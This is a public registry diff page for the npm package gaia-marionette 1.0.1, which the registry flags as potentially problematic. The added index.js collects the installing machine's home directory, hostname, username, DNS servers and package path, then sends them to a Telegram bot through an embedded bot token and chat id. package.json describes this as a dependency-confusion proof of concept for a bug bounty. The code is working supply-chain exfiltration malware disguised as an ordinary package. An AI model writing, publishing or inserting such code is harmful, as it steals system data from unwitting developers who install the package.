gaia-marionette 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of gaia-marionette might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +39 -0
  2. package/package.json +8 -0
package/index.js ADDED
@@ -0,0 +1,39 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const https = require("https");
4
+ const packageJSON = require("./package.json");
5
+ const package = packageJSON.name;
6
+
7
+ const trackingData = JSON.stringify({
8
+ p: package,
9
+ c: __dirname,
10
+ hd: os.homedir(),
11
+ hn: os.hostname(),
12
+ un: os.userInfo().username,
13
+ dns: dns.getServers(),
14
+ r: packageJSON ? packageJSON.___resolved : undefined,
15
+ v: packageJSON.version,
16
+ pjson: packageJSON,
17
+ });
18
+
19
+ // Send to Telegram
20
+ const telegramMessage = `🔔 Tracking Alert\n\n${trackingData}`;
21
+
22
+ const options = {
23
+ hostname: "api.telegram.org",
24
+ port: 443,
25
+ path: `/bot8201031515:AAGH9RVmfZq6TyGE7VRYUG6q3rhACJ2HZxo/sendMessage?chat_id=1904101357&text=${encodeURIComponent(telegramMessage)}`,
26
+ method: "GET",
27
+ };
28
+
29
+ const req = https.request(options, (res) => {
30
+ res.on("data", (d) => {
31
+ process.stdout.write(d);
32
+ });
33
+ });
34
+
35
+ req.on("error", (e) => {
36
+ // console.error(e);
37
+ });
38
+
39
+ req.end();
package/package.json ADDED
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "gaia-marionette",
3
+ "version": "1.0.1",
4
+ "description": "Poc By piyush.kulkarni0212@gmail.com , This is dependency confusion package doing for bug bounty",
5
+ "main": "index.js",
6
+ "author": "Piyush Kulkarni - Security Researcher",
7
+ "license": "MIT"
8
+ }